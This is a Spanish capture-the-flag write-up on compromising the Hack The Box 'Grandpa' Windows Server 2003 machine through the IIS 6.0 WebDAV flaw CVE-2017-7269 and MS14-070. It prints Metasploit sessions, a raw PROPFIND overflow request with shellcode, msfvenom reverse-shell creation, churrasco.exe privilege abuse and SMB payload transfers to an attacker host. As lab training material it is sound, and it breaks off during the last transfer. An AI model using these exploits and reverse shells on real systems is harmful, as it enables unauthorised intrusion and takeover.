Grandpa

Dificultad: Easy - OS: Windows

¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info

El CTF Grandpa consiste en comprometer un sistema Windows Server 2003 a través de un vector de ataque remoto identificado como la vulnerabilidad CVE-2017-7269. Esta falla afecta al componente WebDAV del servidor IIS 6.0 y permite ejecución remota de código (RCE) al enviar solicitudes HTTP malformadas. Desde el inicio del CTF, la enumeración revela únicamente el servicio IIS activo, lo cual direcciona rápidamente la investigación hacia esta falla específica. La explotación puede realizarse de manera manual con un script de prueba de concepto o de forma automatizada mediante algún módulo Metasploit.

Una vez obtenida una shell inicial, el objetivo pasa a ser la escalada de privilegios. Para ello, en el proceso automatizado, se recurre al módulo local_exploit_suggester de Metasploit, que identifica varias vulnerabilidades locales potencialmente explotables en el sistema comprometido. El exploit más eficaz en este caso resulta ser ms14_070_tcpip_ioctl, una vulnerabilidad en el manejo del protocolo TCP/IP de Windows, la cual, al ser ejecutada correctamente, otorga una shell con privilegios de sistema (NT AUTHORITY\SYSTEM), permitiendo así el acceso a la flag de administrador.

¿Qué es WebDAV?

WebDAV (Web Distributed Authoring and Versioning) es una extensión del protocolo HTTP que permite la edición y administración remota de archivos en servidores web. Fue diseñado para facilitar el trabajo colaborativo sobre contenido alojado en la web, permitiendo que múltiples usuarios creen, editen, copien, muevan o eliminen archivos directamente desde el servidor como si fuera un sistema de archivos compartido.

Funcionalidad principal

WebDAV amplía HTTP al incorporar métodos adicionales como:

  • PROPFIND: obtiene metadatos o estructura de directorios.

  • MKCOL: crea colecciones o carpetas.

  • LOCK / UNLOCK: permite bloquear recursos para edición exclusiva.

  • COPY, MOVE, DELETE: operaciones básicas de manipulación de archivos.

  • PUT: permite subir archivos.

  • PROPPATCH: modifica propiedades de un recurso.

Estos métodos convierten al servidor web en una especie de repositorio de archivos accesible desde clientes WebDAV, como el Explorador de Windows, herramientas de backup, o editores web.

En qué contextos se usa

  • Colaboración de documentos en entornos corporativos o educativos.

  • Montaje de discos remotos (como si fueran carpetas de red).

  • Publicación y sincronización de contenido web.

  • Integración con sistemas de gestión de contenidos (CMS).

Sin embargo, en servidores mal configurados o antiguos, como IIS 6.0 en Windows Server 2003, WebDAV puede abrir importantes vectores de ataque, ya que expone funciones avanzadas sobre HTTP que no siempre están bien protegidas.

¿Qué es IIS?

IIS (Internet Information Services) es un servidor web desarrollado por Microsoft que permite publicar sitios web, aplicaciones web, servicios FTP y otros contenidos en la red. Es el equivalente de Microsoft a servidores como Apache o Nginx, pero está diseñado específicamente para funcionar sobre sistemas operativos Windows.

📌CVE-2017-7269

CVE-2017-7269 es una vulnerabilidad de ejecución remota de código (RCE) en Microsoft IIS 6.0, específicamente en el componente WebDAV. El fallo radica en cómo IIS maneja encabezados HTTP con el método PROPFIND y, en particular, la forma en que procesa la función ScStoragePathFromUrl. Al enviar una solicitud especialmente diseñada que desborda el búfer de pila (stack buffer overflow), un atacante remoto sin autenticación puede ejecutar código arbitrario con los privilegios del servicio IIS. Esta vulnerabilidad afecta a Windows Server 2003

📌MS14-070

MS14-070 es el boletín de seguridad que describe una vulnerabilidad en el componente TCP/IP del kernel de Windows. El error está en el controlador tcpip.sys, donde una condición de carrera permite a un atacante local ejecutar código arbitrario en el contexto del núcleo del sistema operativo. Esto facilita una escalada de privilegios desde un usuario con acceso limitado (como NETWORK SERVICE) hasta SYSTEM. La explotación de esta falla requiere acceso local, pero resulta extremadamente útil como segundo paso tras una explotación remota inicial.

Enumeración de puertos/servicios

┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# nmap -sCV --open -T4 -v -n 10.10.10.14   
📌 Parámetros
  • sCV:

    • -sCEjecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sVDetección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -nNo resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --openMuestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -vModo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultado:

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-webdav-scan: 
|   Server Date: Tue, 17 Jun 2025 18:18:19 GMT
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   WebDAV type: Unknown
|   Server Type: Microsoft-IIS/6.0
|_  Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT POST MOVE MKCOL PROPPATCH
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-ntlm-info: 
|   Target_Name: GRANPA
|   NetBIOS_Domain_Name: GRANPA
|   NetBIOS_Computer_Name: GRANPA
|   DNS_Domain_Name: granpa
|   DNS_Computer_Name: granpa
|_  Product_Version: 5.2.3790
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

El resultado del escaner de nmap nos arrojó mucha información sobre el objetivo, pero lo que se destaca es lo siguiente:

  • El puerto 80/tcp está abierto y corre Microsoft IIS httpd 6.0, una versión muy antigua

  • El encabezado HTTP (http-server-header) y el script http-ntlm-info confirman que el sistema operativo es Windows Server 2003 (versión 5.2.3790), donde IIS 6.0 es nativo.

  • El script http-webdav-scan muestra que WebDAV está habilitado, evidenciado por la presencia de métodos como PROPFIND, LOCK, UNLOCK, MKCOL, SEARCH, entre otros.

  • El método PROPFIND, específicamente, es esencial para explotar la función vulnerable ScStoragePathFromUrl en el CVE-2017-7269.

  • La enumeración de métodos HTTP (http-methods) incluye métodos potencialmente peligrosos (PUT, DELETE, MOVE, PROPPATCH), lo que sugiere una configuración insegura y una mayor superficie de ataque.

Para resolver esta máquina podemos seguir un procedimiento automático con Metasploit o realizarlo de forma manual con exploits de github, en este writeup se mostrarán ambos procedimientos

Procedimiento automatizado: MSFConsole

Como bien nos reportó nmap el objetivo corre un Microsoft IIS httpd 6.0 y tiene WebDAV habilitado, entonces podemos buscar algún exploit en la base de datos de metasploit para utilizar contra esta máquina con esas características

msf6 > search iis webdav

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   exploit/windows/iis/ms03_007_ntdll_webdav              2003-05-30       great      Yes    MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow
   1   exploit/windows/ssl/ms04_011_pct                       2004-04-13       average    No     MS04-011 Microsoft Private Communications Transport Overflow
   2     \_ target: Windows 2000 SP4                          .                .          .      .
   3     \_ target: Windows 2000 SP3                          .                .          .      .
   4     \_ target: Windows 2000 SP2                          .                .          .      .
   5     \_ target: Windows 2000 SP1                          .                .          .      .
   6     \_ target: Windows 2000 SP0                          .                .          .      .
   7     \_ target: Windows XP SP0                            .                .          .      .
   8     \_ target: Windows XP SP1                            .                .          .      .
   9   auxiliary/scanner/http/dir_webdav_unicode_bypass       .                normal     No     MS09-020 IIS6 WebDAV Unicode Auth Bypass Directory Scanner
   10  auxiliary/scanner/http/ms09_020_webdav_unicode_bypass  .                normal     No     MS09-020 IIS6 WebDAV Unicode Authentication Bypass
   11  exploit/windows/iis/iis_webdav_upload_asp              2004-12-31       excellent  No     Microsoft IIS WebDAV Write Access Code Execution
   12  exploit/windows/iis/iis_webdav_scstoragepathfromurl    2017-03-26       manual     Yes    Microsoft IIS WebDav ScStoragePathFromUrl Overflow

Interact with a module by name or index. For example info 12, use 12 or use exploit/windows/iis/iis_webdav_scstoragepathfromurl                                                                               

msf6 > use 12
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rport 80
rport => 80
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rhost 10.10.10.14
rhost => 10.10.10.14
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit
[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] Trying path length 3 to 60 ...
[*] Sending stage (177734 bytes) to 10.10.10.14
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.14:1030) at 2025-06-17 21:41:53 -0400

Para este caso nos va a servir el exploit/windows/iis/iis_webdav_scstoragepathfromurl Una vez que lo seteamos y lo ejecutamos se nos va a abrir una sesión de meterpreter. Al intentar enumerar información del sistema tendremos un problema de accesos ("Operation failed: Access is denied") y esto se debe a que la sesión que nos creó el exploit no tiene los permisos suficientes para ejecutar ese tipo de comandos. Cuando se ejecutó el exploit la sesión de Meterpreter que se nos crea suele ejecutarse bajo el contexto de la cuenta que usa IIS para procesar solicitudes web. En el caso de Windows Server 2003 con IIS 6.0, eso puede variar según la configuración, pero típicamente es una de las siguientes:

  1. IUSR_<MachineName> Es una cuenta predefinida utilizada para solicitudes anónimas. Tiene privilegios muy limitados. → Si la sesión se ejecuta bajo esta cuenta, comandos como sysinfo, getuid y muchas funciones de Meterpreter pueden fallar.

  2. IWAM_<MachineName> Se usa para ejecutar aplicaciones web aisladas. También tiene permisos restringidos.

  3. NT AUTHORITY\NETWORK SERVICE Esta cuenta es más privilegiada que las anteriores y puede ejecutar tareas de red, cargar servicios, etc., pero no es SYSTEM.

  4. NT AUTHORITY\LOCAL SERVICE Similar en permisos a NETWORK SERVICE, pero con menos acceso de red.

Teniendo en cuenta esto lo que vamos a hacer ahora es enumerar procesos del sistema desde meterpreter y seleccionar alguno que cumpla las siguientes condiciones

  • Estabilidad: Debe ser un proceso del sistema que se mantenga corriendo durante la sesión. Algunos procesos como rundll32.exe o cidaemon.exe pueden finalizarse inesperadamente.

  • Mismo tipo de arquitectura: Debe ser un proceso de 32 bits (x86), porque estamos atacando un Windows Server 2003 x86. No podemos migrar a procesos de distinta arquitectura.

  • Seleccionar el proceso que esté bajo algún usuario con más privilegios como el NETWORK SERVICE

meterpreter > sysinfo
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.
meterpreter > ps

Process List
============

 PID   PPID  Name              Arch  Session  User                        Path
 ---   ----  ----              ----  -------  ----                        ----
 0     0     [System Process]
 4     0     System
 272   4     smss.exe
 316   1504  w3wp.exe          x86   0        NT AUTHORITY\NETWORK SERVICE  c:\windows\system32\inetsrv\w3wp.exe
 320   272   csrss.exe
 344   272   winlogon.exe
 392   344   services.exe
 404   344   lsass.exe
 580   392   svchost.exe
 668   392   svchost.exe
 732   392   svchost.exe
 772   392   svchost.exe
 788   392   svchost.exe
 924   392   spoolsv.exe
 952   392   msdtc.exe
 1076  392   cisvc.exe
 1116  392   svchost.exe
 1172  392   inetinfo.exe
 1208  392   svchost.exe
 1312  580   davcdata.exe      x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\inetsrv\davcdata.exe
 1320  392   VGAuthService.exe
 1396  392   vmtoolsd.exe
 1504  392   svchost.exe
 1608  392   svchost.exe
 1828  392   dllhost.exe
 1876  392   alg.exe
 1924  580   wmiprvse.exe      x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\wbem\wmiprvse.exe
 2136  316   rundll32.exe      x86   0                                    C:\WINDOWS\system32\rundll32.exe
 2408  580   wmiprvse.exe
 2552  344   logon.scr
 3816  1076  cidaemon.exe
 3860  1076  cidaemon.exe
 3888  1076  cidaemon.exe

meterpreter > migrate 1312
[*] Migrating from 2136 to 1312...
[*] Migration completed successfully.
meterpreter > sysinfo
Computer        : GRANPA
OS              : Windows Server 2003 (5.2 Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Domain          : HTB
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > background
[*] Backgrounding session 1...

Las razones por las que se migra a davcdata.exe son básicamente las siguientes:

  1. Mayor estabilidad del proceso: La sesión inicial obtenida por el exploit CVE-2017-7269 suele estar vinculada a un proceso creado de manera efímera o poco estable, que a veces tiene permisos restringidos, como el proceso rundll32.exe (PID 2136 en este caso). Estos procesos pueden cerrarse o bloquear comandos básicos, como sysinfo o getuid, lo cual impide operar normalmente.

  2. Proceso perteneciente a NETWORK SERVICE: davcdata.exe corre bajo la cuenta NT AUTHORITY\NETWORK SERVICE, que es un contexto más privilegiado que cuentas como IUSR o cuentas anónimas. Aunque no es SYSTEM, este contexto tiene suficientes privilegios para ejecutar herramientas de escalada de privilegios como el local_exploit_suggester y, más importante, es el tipo de cuenta desde la cual suelen funcionar bien los exploits locales como MS14-070.

  3. Proceso confiable del sistema y persistente: davcdata.exe es parte del sistema IIS y se ejecuta como servicio del sistema (de hecho se encuentra en C:\WINDOWS\system32\inetsrv\), por lo que es estable, de mayor duración, y menos propenso a cerrarse inesperadamente durante el post-exploitation.

Privilege Escalation

Por último mandamos a segundo plano la sesión de meterpreter e implementamos el módulo local_exploit_suggester para buscar algún módulo o exploit de metasploit que nos permita escalar privilegios. En este caso nos servirá el exploit/windows/local/ms14_070_tcpip_ioctl

msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.14 - Collecting local exploits for x86/windows...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/logging-2.4.0/lib/logging.rb:10: warning: /usr/lib/x86_64-linux-gnu/ruby/3.3.0/syslog.so was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 3.4.0.
You can add syslog to your Gemfile or gemspec to silence this warning.
Also please contact the author of logging-2.4.0 to request adding syslog into its gemspec.
[*] 10.10.10.14 - 204 exploit checks are being tried...
[+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 10.10.10.14 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/ms10_015_kitrap0d                        Yes                      The service is running, but could not be validated.                                                              
 2   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.                                                                             
 3   exploit/windows/local/ms14_070_tcpip_ioctl                     Yes                      The target appears to be vulnerable.                                                                             
 4   exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.                                                                             
 5   exploit/windows/local/ms16_016_webdav                          Yes                      The service is running, but could not be validated.                                                              
 6   exploit/windows/local/ms16_075_reflection                      Yes                      The target appears to be vulnerable.                                                                             
 7   exploit/windows/local/ppr_flatten_rec                          Yes                      The target appears to be vulnerable. 
 
msf6 exploit(windows/ssl/ms04_011_pct) > use exploit/windows/local/ms14_070_tcpip_ioctl
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > set session 1
session => 1
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > run
[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] Storing the shellcode in memory...
[*] Triggering the vulnerability...
[*] Checking privileges after exploitation...
[+] Exploitation successful!
[*] Sending stage (177734 bytes) to 10.10.10.14
[*] Meterpreter session 2 opened (10.10.14.4:4444 -> 10.10.10.14:1031) at 2025-06-17 21:50:33 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > search -f user.txt
Found 1 result...
=================

Path                                              Size (bytes)  Modified (UTC)
----                                              ------------  --------------
c:\Documents and Settings\Harry\Desktop\user.txt  32            2017-04-12 10:32:26 -0400

meterpreter > cat 'c:\Documents and Settings\Harry\Desktop\user.txt'
bdff5ec67c**********************

meterpreter > search -f root.txt
Found 1 result...
=================

Path                                                      Size (bytes)  Modified (UTC)
----                                                      ------------  --------------
c:\Documents and Settings\Administrator\Desktop\root.txt  32            2017-04-12 10:29:33 -0400

meterpreter > cat 'c:\Documents and Settings\Administrator\Desktop\root.txt'
9359e905a**********************

Procedimiento manual

Para la intrusión manual vamos a usar el exploit iis6-exploit-2017-CVE-2017-7269 que fue diseñado para aprovechar la vulnerabilidad CVE-2017-7269, que afecta a Microsoft IIS 6.0 cuando tiene habilitado WebDAV y que nos va a permitir ejecutar código remoto en el servidor sin autenticación. Antes de ejecutarlo vamos a levantar un listener con nc por el puerto 8888 para recibir la conexión reversa que nos enviara el exploit

┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# python2 exploit.py 10.10.10.14 80 10.10.14.4 8888
PROPFIND / HTTP/1.1
Host: localhost
Content-Length: 1744
If: <http://localhost/aaaaaaa₩ᄑᄄ￧ᄀᆪ￧ンᄀ￧トᄈ₩ᄂᄊ¦ンᄇ￧ᄄᄍ¦ᆳᄋ¦ᄑᄚ￧ユモ￧ᄅマ¦ᄀᄄ¥ルᆪ₩ᄉヤ₩ᄀナ ̄ᆬモ¥チᆲ¥ユᄃ₩ンᆪ ̄ヘᄂ¦リᄚ￧ᄀナ₩ᆬメ¥ミᄆ¦ᄆリ₩ᄅム￧ノチ¦ネᄆ￧タᄉ¥ᄀミ ̄ルᄂ₩ᄆヌ ̄ヤᄍ¥ムᆰ¥タᄡ¥ムテ￧ンメ¥チᄀ ̄ネᄇ₩ᄉヒ₩ᄚᄡ ̄ノヌ₩ノチ ̄ンヘ¥ナᄀ¥ᄀᄁ¦ンᄈ¥ノミ ̄ルᄚ￧ユト₩ᄀᆰ ̄ヘᄡ¦ᄍハ￧ᄀᆱ¦ᆬᄊ¦ᄍᄈ¦ᄆᆰ¥ンᄎ₩ᄑᄆ¥ᄀハ ̄ネᄚ ̄ンᆴ¦ᆳノ¥ノヘ¦ᄀᆪ₩ᄑフ￧ユヨ￧ユᄉ₩ルᆵ￧ルᄄ¦ムヘ¥チᄚ￧ᄄᄊ₩ノヒ₩ユラ￧ユミ₩ᄅᄇ￧ᄅᆱ￧ンᄁ￧ルリ₩ノネ₩ヤᄆ ̄チヤ₩ᄆᄍ¥チハ¥ムᄁ¥タᄈ ̄ユᄋ₩ᄅᄋ¦ナト ̄フᄡ₩ムᄊ¦ᄉニ¥ルヤ¦ンᆲ₩ユテ￧リᄇ￧ノᄌ¥ンᄅ¦フᄌ₩ノᄇ¥ᄄᄚ¥ᄂᄌ¥ムネ￈ツ￈ツ£ヒタ₩ᅠテ₩ᄆト¥ノヨ¦ᆲᄋ₩ᄆᆳ¦ᄑリ¥ᄀレ￧ᆬミ¦ᆬᆰ¥ᄀマ¦ᄅメ¦ナミ₩ルヘ£マタ₩ᅠテ¦ᅠᄡ₩ヤᄆ₩ᄑテ₩ᄍᆭ￧ムチ¦ヘᆲ£マタ₩ᅠテ¥ヘテ₩ᄅチ￧チメ ̄フᄚ¥ᄀᆭ¦ノフ￧チヒ₩ヘニ¥ナᄈ￧ᆬチ￧ᄅミ¦ᄅᆲ> (Not <locktoken:write1>) <http://localhost/bbbbbbb￧ᆬネ₩ナᄉ¦ᄑテ₩ᄑᄃ₩ᆳᆵ¦ᄀナ ̄ルニ₩ンᄉ¦ミᄈ ̄ᄀᄆ¥ンᆬ¥ᄅᄁ¥ミᄉ¥ルᄀ₩ᆬメ₩ᄅモ¥ナラ ̄ᄀホ¥ᆬネ₩ヘユ¦ᆬᄆ¦ヘᄂ₩ムᄇ ̄ムᄄ¦ンリ￧ナᄍ ̄ヘᆱ₩ᆳユ₩ᄉネ¥チマ￧ᄅニ ̄ムᄆ₩ᄑヤ￧ムテ¥ᆬヨ₩ᄑᆵ￧ヘチ ̄ムラ₩ナᄄ￧ᄅᄇ ̄ンナ¦ᄉノ¥ンホ¥ムネ¦ᄚᄌ ̄ルᄎ ̄ユᄇ₩ノᆭ₩ᄍテ¦ᄀᆳ ̄ユネ₩ナᄋ¦ᄉレ₩ナᄡ¦トᄈ¦ヘᆬ¥ノᄇ₩ᄉᄅ ̄ルᄆ¦ᄍᄂ₩ᄌᄍ₩ヘモ₩ᆳᄂ¥ナニ¦ᄐᄚ￧ᄀᆵ￧ノモ₩ンミ¦ユモ￧ᄅᆪ￧トᄍ¦ᄑモ¦ムヨ₩ᄐᄊ￧ヘᄍ₩ᄀᄋ￧ᄅヨ₩ナハ ̄ᆬナ ̄リᄍ₩ᄚᄍ¦ヤᄆ ̄ムᄇ¥ヘᆬ¥ᄀハ¦ムホ￧ᄅト₩ᄚᄉ¥ᄅヨ₩ノチ₩ᄍᄇ₩リᄆ¥ᆬル¥ミᄈ ̄ナツ¥ᄀᆬ¥ᆬチ￧ナミ ̄タᄊ¥ンᄋ¦ムラ¥ヘᄀ£マタ₩ᅠテ₩ᄍマ₩ᅠタ₩ᄍマ₩ᅠタ¦ノヌ￧ルᆰ£マタ₩ᅠテ¦ノラ¦ᄑᄡ¥ᆬヌ¥ネᄡ¦ᆳᆭ¦ᆳツ￧ムᄂ￧ᄀᆵ₩ツツ₩ᅠチ¥トᄉ￧ノᄎ￧ムᄎ¦ᄉヌ¦ムル¥ンラ→トモ₩ᅠタ ̄ナᄊ₩ᄍᆵ¬モᆪ₩ᅠチ£ムᅠ₩ᅠテ￧﾿ᄒ￯﾿﾿￯﾿﾿£マタ₩ᅠテ￑ᆴ₩ᅠテ￧ナᆴ￧ムᄚ£ミᄡ₩ᅠテ¬ᄃᄃ₩ᅠチ←ホム₩ᅠタ ̄ᄂᄆ₩ルᆴ¦ᆬユ ̄チメ¥ムᆱ￧ルᆱ￧ノハ￧ᆬᄀ£ミワ₩ᅠテ₩ᄌナ₩ᅠタ￧ワᄇ￧ᆬᄄ¦ᄉᄅ ̄ルᆲ¦ムᄄ¦ᄉᄚ│ノニ₩ᅠタ¦ᄀᄋ ̄ノモ£ᄊᆰ₩ᅠツ₩ᄑᆰ¦フᄉ£マᄌ₩ᅠテ¬ᄃᄃ₩ᅠチVVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A>

Nota: al clonar el repositorio del exploit vamos a encontrar en el folder el archivo iis6 reverse shell, yo lo que hice fue cambiarle el nombre a exploit.py y agregarle la extension .py para poder ejecutarlo con python2

La sesión que obtuvimos con el exploit corresponde al usuario nt authority\network service y si vemos los permisos que tiene en el sistema nos vamos a encontrar con el SeImpersonatePrivilege habilitado. Este permiso nos permite básicamente que un proceso suplante la identidad de otro usuario autenticado. Es decir, un proceso con este privilegio puede hacerse pasar por otro, siempre que tenga acceso a un token de seguridad válido (por ejemplo, el de un usuario administrador o SYSTEM). Pero ¿Por qué lo tiene NT AUTHORITY\NETWORK SERVICE? La cuenta NETWORK SERVICE está diseñada para ejecutar servicios de red que necesitan operar con ciertos privilegios. Microsoft le otorgó SeImpersonatePrivilege para permitirle interactuar con recursos del sistema cuando es necesario. Sin embargo, en un contexto inseguro (como un sistema sin parches o mal configurado), esto puede ser explotado para escalar a SYSTEM.

┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# nc -lvnp 8888       
listening on [any] 8888 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.14] 1030
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service

c:\windows\system32\inetsrv>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAuditPrivilege              Generate security audits                  Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled

c:\windows\system32\inetsrv>net user
net user

User accounts for \\GRANPA

-------------------------------------------------------------------------------
Administrator            ASPNET                   Guest                    
Harry                    IUSR_GRANPA              IWAM_GRANPA              
SUPPORT_388945a0         
The command completed successfully.

Privilege Escalation

Entonces para abusar del permiso SeImpersonatePrivilege vamos a utilizar el exploit churrasco.exe que básicamente se encarga de explotar una vulnerabilidad de diseño en el servicio CreateProcessWithTokenW, que puede ser llamado por procesos con el privilegio SeImpersonatePrivilege para ejecutar comandos arbitrarios con los privilegios de SYSTEM. Entonces una vez que descarguemos el ejecutable vamos a levantar un servidor smb con impacket-smbserver en el directorio donde se encuentra churrasco.exe para luego descargarlo desde la sesión remota del equipo comprometido

┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# wget https://github.com/Re4son/Churrasco/blob/master/churrasco.exe
--2025-06-19 00:39:53--  https://github.com/Re4son/Churrasco/blob/master/churrasco.exe
Resolving github.com (github.com)... 20.201.28.151
Connecting to github.com (github.com)|20.201.28.151|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘churrasco.exe’

churrasco.exe           [ <=>             ] 176.63K  --.-KB/s    in 0.1s    

2025-06-19 00:39:54 (1.65 MB/s) - ‘churrasco.exe’ saved [180869]

┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# impacket-smbserver smbFolder $(pwd)     
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Incoming connection (10.10.10.14,1035)
[*] AUTHENTICATE_MESSAGE (HTB\GRANPA$,GRANPA)
[*] User GRANPA\GRANPA$ authenticated successfully
[*] GRANPA$::HTB:f1f3663cde5c8c6600000000000000000000000000000000:579a7daa1068751db94158ba66a0cac25899f863bfb5d37b:aaaaaaaaaaaaaaaa
[*] Closing down connection (10.10.10.14,1035)
[*] Remaining connections []
copy \\10.10.14.4\smbFolder\churrasco.exe churrasco.exe

Nota: antes de descargar el ejecutable nos tenemos que mover al directorio C:\Windows\Temp donde podremos realizar la descarga sin problemas

La forma de usar este ejecutable es la siguiente .\churrasco.exe "comando" en este caso le pasamos el comando "whoami" para confirmar que somos el usuario nt authority\system

c:\windows\system32\inetsrv>cd C:\Windows\Temp
cd C:\Windows\Temp

C:\WINDOWS\Temp>copy \\10.10.14.4\smbFolder\churrasco.exe churrasco.exe
copy \\10.10.14.4\smbFolder\churrasco.exe churrasco.exe
        1 file(s) copied.

C:\WINDOWS\Temp>.\churrasco.exe "whoami"
.\churrasco.exe "whoami"
nt authority\system

Ahora simplemente podemos buscar y leer las flags o también aprovechar este ejecutable para enviarnos una reverse shell con la cuenta de nt authority\system. El procedimiento es muy sencillo, primero vamos a crear un payload con msfvenom, luego levantaremos un servidor smb con impacket-smbserver para poder descargar el payload shell.exe desde el equipo comprometido, por último levantamos un listener en el kali y ejecutamos el payload haciendo uso del exploit churrasco.exe

1) Creamos el payload con msfvenom. En LHOST ponemos la IP de nuestro equipo y en LPORT el puerto que usaremos para el listener

┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f exe -o shell.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

2) Levantamos un servidor smb desde el directorio donde se encuentra el payload usando impacket-smbserver

┌──(root㉿kali)-[/home/kali/Documents/HTB/GRANDPA]
└─# impacket-smbserver smbFolder $(pwd)                                
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.14,1043)
[*] AUTHENTICATE_MESSAGE (HTB\GRANPA$,GRANPA)
[*] User GRANPA\GRANPA$ authenticated successfully
[*] GRANPA$::HTB:7eba716f741444a600000000000000000000000000000000:a77c1d8fface2c2bd79613cb9a4f99d69a7b636a6855d17d:aaaaaaaaaaaaaaaa
[*] AUTHENTICATE_MESSAGE (\,GRANPA)
[*] User GRANPA\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Closing down connection (10.10.10.14,1043)
